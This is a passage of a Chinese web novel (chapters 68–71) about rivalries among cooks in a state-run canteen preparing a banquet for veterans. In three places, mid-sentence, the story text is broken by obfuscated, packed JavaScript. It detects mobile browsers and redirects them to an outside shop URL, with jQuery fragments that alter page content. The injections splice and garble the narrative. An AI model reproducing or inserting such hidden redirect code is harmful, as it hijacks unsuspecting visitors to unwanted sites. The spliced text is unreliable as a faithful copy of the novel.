“你跟我没仇,有仇就不是阴阳怪气了,我会直接撸袖子**的,你说你见过,知道这玩意是怎么来的吗?”
鱼翅吃的是鲨鱼鳍中细丝状的软骨,根据鲨鱼品种不同,部位不同,鱼翅种类也挺繁的。
受当时物流影响,内地厨子接触的还真的不多。
左**也是大概听说过,没见过实物,不过被黎军这么挤兑,面子上下不来。
“不就是鲨鱼鳍吗,有什么可嘚瑟的,说得好像全中国就你懂一样。”
“鲨鱼也分好多种的,你要是能分得清你手里的是背鳍或者胸鳍,我就免费请你吃了它。”
“你……好得很。”
左**气得发抖。
徐良有点看不下去了,黎军这是一点面子都不给啊!
“呵呵,那个大军,左**也是出于好意,过来给你帮忙的,你就别挤兑他了,有什么能干的,就让他帮着你干点。”
听到这话,黎军突然换了一副笑脸:“原来是这样啊,我还以为行政总厨又来找事的。”
最近一段时间,左**是各种卫生大检查,一丁点死角都会抓着不放,业务技能考核更是一周一次,搞得下边人怨声极大。
二三食堂两个厨师长偶尔也会被叫过去汇报工作,大谈工作心得,就是他那一套反复说辞。
现在抓着机会,黎军不怼一下他,简直对不起主场作战的优势。
左**更加不悦:“我怎么就找事了,检查卫生,探讨工作中的不足,那都是正常的工作需要好吧!”
黎军撇撇嘴,这话说得没毛病。
“哦……那是我理解错了,下不为例,在这里跟你道个歉。”
左**脸色好了点。不过黎军接下来的话让他脸色又黑了。
“既然是来帮忙的,那就请吧,先把这些熊掌洗了,我去做其他事情。”
“你……”
左**又被气着了,堂堂行政总厨来帮忙,是给你搞这些洗洗涮涮之类的杂活来了。
“哦……是我安排不周,行政总厨怎么能干这些杂活呢,您上炉子,帮忙吊汤总行了吧,这些杂活我来搞。”
第69章 都不想干了
左**便秘一样上了炉子,帮忙吊起了汤。
这事是每个厨子的必备技能,吊汤轻松,不用做那些杂活,却不是他此刻的心中所想。
他是来观摩黎军处理高档食材的,可不是专程来给别人打下手的。
将炉火开到最大,锅里的水烧开,里边的食材捞出来清洗一遍,重新烧水炖煮,等待水开的时候,左**又猫抓一样去了材料间里。
后厨有时候是个相对阴暗的场所,许多大厨做拿手绝活,都会避开其他人,生怕自己的本事给别人学了去。
后厨天地,大多有教会徒弟,饿死师傅的说法流传。
黎军没有在后厨涨发原材料,却不是这个原因,此时正是饭口时间,后厨正在热火朝天的上菜,为了明天的包席,影响今天的生意不划算。
左**刚从炉子上下来,却看见一个最不该出现在此地的人,当下整个人都要不好了。
“郑文杰……你怎么会在这里?”
郑文杰端着个水盆,里边放着几个刚刻好的小摆件,花花绿绿泡在水里还挺养眼。
这一刻左**其实挺后悔的,眼前的小伙子加以培训,将来肯定会在雕刻一途大放异彩,这玩意是包席最长脸的特殊技能。
不过他是总厨,不给他脸面,不听从指挥的人绝不能留。
郑文杰看了一眼左**,眼神睥睨,也并不搭话,绕过他往材料间而去。
炉子上几个人都看着,表情挺复杂。
材料间里,徐良饶有兴致看着黎军干活,燕鲍翅这类食材他也只是听过没见过,更别说吃了。
当时国营饭店招待都是有标准的,断不能给他们胡吃海塞。
“哎……你不是一食堂那个二火吗,叫……啥来着,怎么在这儿呢!”
徐良看到郑文杰挺意外,他是一把手,干过几年的老员工差不多都有印象。
郑文杰放下水盆,尴尬道:“呵呵,徐总好,我浪费一食堂食材,用来雕刻萝卜花,被左**那孙子针对,摔锅不干了。”
徐良表情奇怪地看向他身后,笑呵呵道:“不能背地里骂人,有话当着面说,左**是行政总厨,你总要给他点面子下台吧!”
郑文杰的话语一听就比较刺头,徐良下意识就以为是郑文杰冲撞了左**。
“徐总,我虽然浪费一点原材料,可也不是一点用没有啊,有些不错的成品,上桌摆盘都用了,他直接扣发我二十块钱,买萝卜都能撑死他个龟孙子了。”
左**站在材料间门口,一张脸是黑了又黑。
“你随便浪费食材,我还说不得你了,你一张嘴就满嘴喷粪,扣你钱还是轻的。”
“扣你麻批,老子都不干了你还扣个锤子,再踏马地逼逼看老子抽不抽你就完了。”
郑文杰火气大得能点燃,张嘴就骂,他是恨透左**的为人了。
“你个**崽子跟谁撸袖子呢,你敢动老子一个试试。”
左**比郑文杰大了一半还多,脸面被一而再再而三往下扒拉,火气再也按捺不住了。
徐良脸色顿时黑了,他这一把手还在这呢就开火,把他当空气了吗?
“还有你,郑文杰从一食堂不辞而别,直接就来了二食堂,这里边没点啥猫腻鬼都不信?”
不等徐良做出反应,左**又对黎军开炮了。
黎军也是脸色漆黑,虽然他使了点小手段,但是问题到底还是出在左**没有容人之量上。
所有后厨都有这种情况,浪费原材料提升手艺,都是内部消耗,也不是多大的事,毕竟都是为了工作吗!
“左**,你们这里边有我一毛钱关系吗,你就把矛头指向我。
你容不下别人,见不得同志上进怨得了谁,厨子提升手艺,不在饭店内部消耗,让他从家里拿材料吗?”
左**怒气值飙升:“你没来的时候,他怎么不整事呢,我看就是你撺掇的。”
黎军都给气笑了:“人家愿意上进,想多学一门手艺总没错吧,我没来的时候,二食堂还没生意呢,作为一个领头的,你觉得自己做得没毛病吗?”
“够了,都不想干了,当我是**吗?”
三个人齐齐住口。
徐良看向左**:“老左,你处理问题方式不对,别动不动就罚款,都是底层人,一个月挣那点钱容易吗,你一张口就扣发二十块钱,有这么整的吗,半个月工资呢,搁谁不生气?
还有你,郑文杰,别动不动就张口花花,他比你大了近一半,快赶上你大的年龄了,他处理得欠妥当,你可以找一食堂经理,或者找我都行。
直接摔锅,你是跟工作有仇吗,现在这年头,找一份正式工作多不容易。
还有你,大军,郑文杰是一食堂的员工你不知道吗,你要接收他,起码问问人事,或者借调一下也行,就这么把人给收了,你让老左的工作怎么做?”
几个乌眼鸡一样的人都不吭声了,徐良各打五十大板都在点上。
“这样子吧
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17078671|195174||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
,老左的处罚作废,我另外特批给郑文杰五百斤大萝卜练手,你给他道个歉,踏踏实实回去上班。”
郑文杰看了看黎军,这货忍不住腹诽。
“你这货是不是缺心眼,徐总让你给总厨道歉,你看我搞**,搞得我真的撺掇你一样。”
郑文杰缩了缩脖子,自己这行为的确脑残了点。
“徐总,给他道歉可以,但是我真的不能在一食堂干了。”
徐良点头,同意了郑文杰的请求,他了解底层人的逻辑,把顶头上司的罪得死死的,指定是不能再回去上班了。
“左师傅,对不起,我不该骂你,在这跟你道歉了。”
左**也是脸背,带着一肚子怨气忙活到凌晨一点,第二天包席的准备工作还没弄完。
“老左,要不你回去休息吧,时间太晚了。”
接下来是准备主菜的盘饰,能动手的就他和郑文杰了,于是黎军让左**先下班。
这趟对左**来说不算白来,黎军涨发鱼翅鱼肚的时候,也没有避着他,全程让所有人都看着。
对于没接触过这类食材呢人来说,这个过程弥足珍贵,可以有效拓宽眼界。
左**心里到底憋了口气,回到家也是闷闷不乐。
贺香娟坐在火炕上纳鞋底子,看他一脸官司就问道:“这么晚回来,咋还拉拉个臭脸,谁欠你钱了咋滴?”
“哎……踏马的黎军,郑文杰,老子今天被他们搞得,老脸都丢光了……”
“到底咋了,黎军郑文杰又是谁?”
贺香娟满脸好奇,他家左**是饮食公司后厨的天,她也跟着脸上有光,平日里在村里跟老娘们八卦,能给她长不少脸呢!
左**将今晚的事情跟她说了一遍。
“那明天就别去了呗,两个龟孙子,你还没办法整了吗。”
不是一家人,不进一家门,贺香娟跟左**生活了二十年,性格出奇地相似。
没等左**上炕,女人突然想起了什么似的开口:“不对,你看吧,吃饭的都是临县领导层,哪个不认识你,只要你往大厅里一杵,谁不知道席面是你安排,菜是你做的,这功劳你绝对能蹭上大半。”
左**震惊地看着老婆,半晚上的荫翳一扫而空:“**,你这婆娘还真是开窍了,说得没毛病,一会好好的奖励你一下。”
贺香娟一听到这话就一脸嫌弃:“就你那本事,跟送报纸的一样,放门口就走了,还是踏踏实实洗洗睡吧!”
第70章 适合才是迎合
左**虽然人品不行,但是对手艺上的进步渴求却是真的。
作为行政总厨,巡视下边的工作没毛病,二食堂接待这么高规格包席,他必须亲自盯着,这是他给自己找的借口。
至于贺香娟说的蹭功劳,他也是信心满满,毕竟临县几乎所有领导阶层,都知道他是饮食公司后厨一把手,这片天地,有点新鲜玩意都跟自己脱不了干系。
黎军一大早上班,看见他的时候都惊呆了,就觉得这家伙脸皮够厚,心思够重。
“泥马的,咋就不知道内耗一点呢!”
“军哥说什么呢,给你,吃个排骨包子。”
李莉莎递过来一个包子问道。
黎军没接包子,斜睨她一眼:“你少吃点肉包子,没看双下巴都出来了吗?”
李莉莎吓了一跳,用葱白一样的手在下巴摸了摸,女孩子大概最怕的就是心上人嫌弃自己胖了,更何况黎军她到现在也没有拿下呢!
“讨厌**,就知道瞎说,人家哪有双下巴!”
黎军不自觉打了个寒颤,这声音太嗲了,鸡皮疙瘩都掉了一地。
正打量他的伍一凡、刘曼等人都逗笑了。
李莉莎听到笑声,一张小脸顿时就阴了下来。
“左总厨,过来这边吃点。”
会计招呼左**过去吃早点,也许二食堂只有这么一个人还待见他。
“老梁,早啊,现在二食堂的早餐恐怕是整个临县最丰盛的,这家伙,没有几个超大号的麦秸剂子,都养不活这一群大枯牛。”
这是当地的俗话,大概表达的意思是没有像样的家底,都养不活这一群人,不过原话更加粗鄙和直接。
二食堂早点开了之后,所有人的伙食都跟着水涨船高,卖啥吃啥是餐饮行业的习惯。
早上除了上早班的,其他人一到点准时开饭。
大肉包子豆腐脑、大馅馄饨葱花饼随便造,一个月不到,所有人都长胖了好几斤。
左**的话也不无羡慕,这么好的早点他都捞不着吃,这些人一个个胡吃海塞,怎么能没点怨气。
不过这话成功给自己拉了一波仇恨。
“老左,我们是大枯牛,你就是大贱(犍)牛了,你吃的不也是公家的吗?”
“怎么能这么说呢,左师傅是行政总厨,官做得比县老爷都有派,要吃二食堂的早点,咱们还得屁颠地送上去才行呢!”
果不其然,他话音落地,李谋女和刘曼直接开怼,根本不给他丁点面子。
“呵呵,一句玩笑话而已,是我口误了,这里给你们道歉了。”
左**笑眯眯道歉,此刻突然像是恢复了以往的笑面虎模样。
另外一桌,黎军走过去跟史建军他们坐一起去了。
伍一凡这次突然变得大方起来,起身去笼屉拿了几个包子,又盛了一碗豆腐脑给他送过去。
“军哥,赶紧吃吧,昨天你们忙到后半夜,辛苦了。”
黎军有些愕然,被伍一凡突如其来的落落大方整得有点懵逼。
刘曼往这边看了看,冲伍一凡抛了个我懂的媚眼。
昨晚刘曼的话,伍一凡听进去了,她要大胆的去追黎军,给他也给自己机会,什么见习经理李莉莎,见鬼去吧!
“马屁精,癞**上称盘!”
李莉莎看到伍一凡的行为,眼底透着些许恨意,嘴巴更是放毒一样。
“哼……”
伍一凡轻哼一声,端起自己的稀饭碗也去了后厨那桌。
史建军见状,极有眼力见地挪了个身位,把自己的椅子让给伍一凡。
李莉莎气得直跺脚,手里的排骨包子也不香了。
“一凡,今天怎么对哥哥这么上心,想通了,准备接受我了?”
伍一凡红着脸低头吃饭,没搭理他。
史建军一脸坏笑,用胳膊肘碰了黎军一下:“这就是默许的意思,加油啊,小妹妹也许是真的想……通了。”
这货最后想通了拉得特别长,黎军秒懂,桌子下踩了一下他的脚趾。
“嘶……”
倒吸冷气。
“**……黎军,你丫来真的……嘶,你那大脚丫子没点逼数吗,不行了,我要请假,骨折了”
包席十二点开饭,吃完早点,众人急匆匆进入角色,开始准备。
二食堂大厅里同时能够接待六十桌,除去包席,散客同样不能马虎。
李莉莎指挥服务
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17081838|195174||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
员,将库房里的移动屏风都抬出来,包席要跟散客隔开,有点私密性。
“伍一凡,你去二楼,搬五十把宴会椅子,这边宴会椅子不够。”
伍一凡小脸难看,宴会椅子都是实木的,一个有二三十斤,一个人上下楼搬还不得累死,自己这是明显被穿小鞋了。
“莉莎姐,我一个人搬吗?”
伍一凡才不想这么被针对穿小鞋呢!
“别人都忙着呢,也腾不出人手啊,你先搬着,一会我安排完了,过去帮你搬。”
还能说啥啊,人家都答应亲自搬了。
“记得都擦干净,上边积了不少灰尘!”
伍一凡气呼呼上楼去了,不服从管理在国营饭店可不成。
“小样,姑奶奶整不死你……哼”
李莉莎傲娇地往后厨去了。
“嚣张跋扈,厨师长又不喜欢你,成天往后厨跑什么呀?”
“一凡又惨了,肯定被这**针对,刚才好像安排她去楼上搬椅子呢!”
“那些实木椅子死沉死沉的,让她一个人去搬,怪不得人说宁得罪君子,也不敢得罪小人。”
几个老员工眼睛雪亮,自然能看出李莉莎的小算盘。
后厨里,黎军跟郑文杰坐在凉菜间里,手上都有食材刻刀翻飞。
今天的通天鱼翅是头菜,黎军用南瓜雕刻出蜿蜒的长城以及人物图像,人物都是头戴军帽手握钢枪那种微型浮雕,取意老**家用血肉铸就钢铁长城,长城背景则是雪山草地刻图。
一个刻好之后,郑文杰意外道:“师父,这样子怎么觉得没有你雕刻的瓜雕龙凤呈祥显得气派。”
“那是婚宴,选龙凤呈祥没毛病,今天请的都是糟老头子,你整个龙凤呈祥不是恶心他们吗,我可是听说了,他们中还有一辈子没娶媳妇的。
好的食材雕刻必须是结合宴会主题,针对性设计出来的才是最好的,只有适合才是迎合懂吗?”
黎军解释,这一声师父不能让人孩子白叫,得真的教给人点东西才行。
“食材雕刻本身就是为了迎合宴席气氛,你得顺着主题搞,铁血铸就血肉长城,很符合今天的宴会主题,没毛病!”
第71章 你又不是我儿子
“文杰,你很有雕刻天赋,好好努力,等你的水平跟我一样时,可以去南方闯闯,哪里才是厨子展示风采的舞台。
你不知道,那些涉外大饭店,宴席中食材雕刻是非常大的占比,有些雕刻高手,可以在嫩豆腐上雕刻龙凤呈祥这种复杂技艺……”
郑文杰若有所思,黎军的话给他开启了一扇大门,一道通往不一样世界的大门。
“师父,嫩豆腐真的能雕刻吗,那么软能立起来?”
突然,郑文杰提了个很接地气的问题。
黎军笑道:“自然能啊,豆腐雕刻本来就是我自创发明的。”
豆腐雕刻在两千年以后才出现,黎军大概记得有个姓高的厨子在2012年前后开始尝试,成就不低,后来还获得了一个什么业内称号。
现在时间段跨越了二三十年,自己在这时候说是自创也没毛病,没出现的的东西,还不是任由自己嘴皮子吹了。
郑文杰都惊呆了,自创是什么概念,那是自成一派,绝对的祖师爷级别。
不过从黎军嘴里说出来,就感觉怪怪的。
“师父你太牛了,小母牛不下崽,牛逼坏了,这是在变相说自己是高手吗,那你什么时候教教我呗?”
黎军斜睨他一眼:“你在想屁吃,连拜师礼都没一个,就在这大言不惭要学压箱底的绝活,当我**二百五吗?”
郑文杰讪讪:“嘿嘿嘿,拜师礼这个自然不能少了,等我发工资,给师父摆一桌咋样,大猪头牛头啥的都摆上,还得磕头那种。”
黎军脸黑:“这怎么听着像是献饭呢,你小子没憋好屁吧!”
郑文杰一脸懵,然后仔细想想,师傅说的好像没毛病。
于是接茬讪笑道:“师傅你想歪了,我的意思是猪头肉牛杂尽管上那种。
拜师后,我郑文杰生是师傅的人,死是师傅的**,我会像孝敬我大那样孝敬你。”
黎军搓了搓了双肩:“哎呀,滚一边去,我才不需要你孝敬呢,你又不是我儿子。”
郑文杰觉得自己被占了便宜,却又心甘情愿。
“一日为师终身为父,这是老礼,绝不能忘了。”
两个人忙碌了三个多小时,准备的食材摆件才弄完。
这时候时间已经到了十一点,附近不需要坐车的老头老太太们,已经零散到了二食堂大厅。
黎军跑了趟凉菜房,见所有凉菜已经备齐,这才松了口气。
左**来了,自然不能让他闲着,鱼翅鲍鱼熊掌这类食材的处理工序很多,跟他说明程序,让他一个人在那摆弄。
因为这时候还是涨发环节,一会的烹饪才是最后的升华。
上了炉子,黎军看了看笼屉里的几个托盘,用筷子戳了戳纱布包裹的几种食材,满意地点了点头。
“老左辛苦了,食材涨发得很饱满,从此你又多了一项技能呢,你是不是得感谢我一下?”
干货涨发的最终目的是恢复原材料原有状态,具体包括吸水回软、去除杂质和异味、便于后续加工与使用。
通过吸收高汤膨润,使干货接近原有的松软、增加鲜嫩质感,最大程度提升原材料状态为目的。
左**心里吐槽:我感谢你八辈祖宗,泥马的光叫我换汤蒸煮,教给我啥了,我还得感谢你。
不过面上还是笑模样:“呵呵呵,都在一个锅里搅勺,谢啥,对了黎军,为啥要用纱布包起来呢?”
“就是怕弄烂了卖相不好。”
熊掌、鱼翅在锅里加上高汤蒸煮几个小时,不小心翻烂了可就真的是破相了。
“哦……鲍鱼你说的两头是啥意思?”
左**不耻下问。
“一斤两个就叫做两头,四个就是四头,以此类推,对了,你也别在这问东问西了,时间紧任务重,把那个燕菜端出来,把**和杂质再仔细挑一遍。”
左**悲催地被支走了。
黎军这时开始准备热菜,溏心鲍鱼上锅用高汤煨上,鱼翅也进锅收汁……八宝鸭请出来,准备上油锅……
十一点五十,几辆大巴车在门口停下,一群头发花白的老头老太太下车,往大厅里走来。
李莉莎带着几个服务员热情地迎上去。
这群人值得所有人尊敬,从战火中走来,亲身经历了华夏的苦难,见证了新中国从积弱重新走向强大……
郭明义和黎老爷子走在最前边,他们是每年例会的组织者。
“今年不在一食堂吃饭了?”
“嗯,这二食堂好像重新装修了啊!”
“看着挺不错的样子,这个左**是个有能力的,菜也做得不错。”
“就是,他的水晶肘子很对我的胃口。”
老头老太太们边走边议论,这种年底聚会已经搞了好
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17081839|195174||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
几年,以往都是在一食堂聚餐。
服务员通知后厨,说客人们到了,凉菜可以先上了。
左**放下手里的活,脱下白大褂往外走去。
迎接老**、领导们就餐,这种露脸的事必须往前冲。
黎军看了他一眼也没在意,这货被抓壮丁似的忙活了十几个小时,也算是不错了。
刘小福看他出来,一并往外去,笑呵呵地站在门口迎客。
“……郭**好,黎……老爷子好,牛老好,里边请,都准备好了。”
刘小福难以掩饰激动,二食堂头一次接到包席,还是临县最大最豪华的团队,语气都有些发颤。
“欢迎郭**莅临一……二食堂就餐,并指导工作……黎老爷子请进,我们全体员工竭诚为您服务。”
左**每年都会接待这些人,自然认得郭**和黎老爷子。
“小左同志,你也下来了……看我这记性,你是饮食公司的行政总厨。”
郭明义有些意外,这次招待他是绕过了一食堂的,没想到左**还是来了。
“你是一食堂的左……左什么来着,下来帮忙来了?”
黎老爷子不咸不淡问道。
“呵呵,老爷子,我是左**,二食堂头一次接包席,厨师长又是个愣头青,我不放心,特意下来盯着的,老爷子您精神头不错,再活几十年问题不大。”
左**净捡好听地说,老年人嘛,都喜欢人说自己精神好,能长寿。
不过今天他讨好的话一出口,黎老爷子脸色居然沉了下来,背着手往大厅而去。
左**尴尬了一下,不知道自己哪里说错了话。
郭明义自然知道老爷子为啥变脸了,二食堂厨师长是人家的孙子,却被你说成愣头青,能有好脸子才是见了鬼了。
“老爷子,老大姐们,今年请大家吃顿好的,你们估计从来还没吃过的稀罕东西。”
郭明义转身,对正在下车的人群道。
“我都听黎老头说了,说是啥鱼翅燕窝,鲍鱼熊掌啥的……”
跟黎老爷子住一个院的的牛老知道得最多。
他们这个年龄,国家好吃好喝的伺候着,没事就是下棋聊天瞎打听,吃瓜兴致不比老娘们弱。
“哎吆,这个左**长行市了啊,这是在那深造了吗?”
熟悉饮食公司班子的老**戏谑道。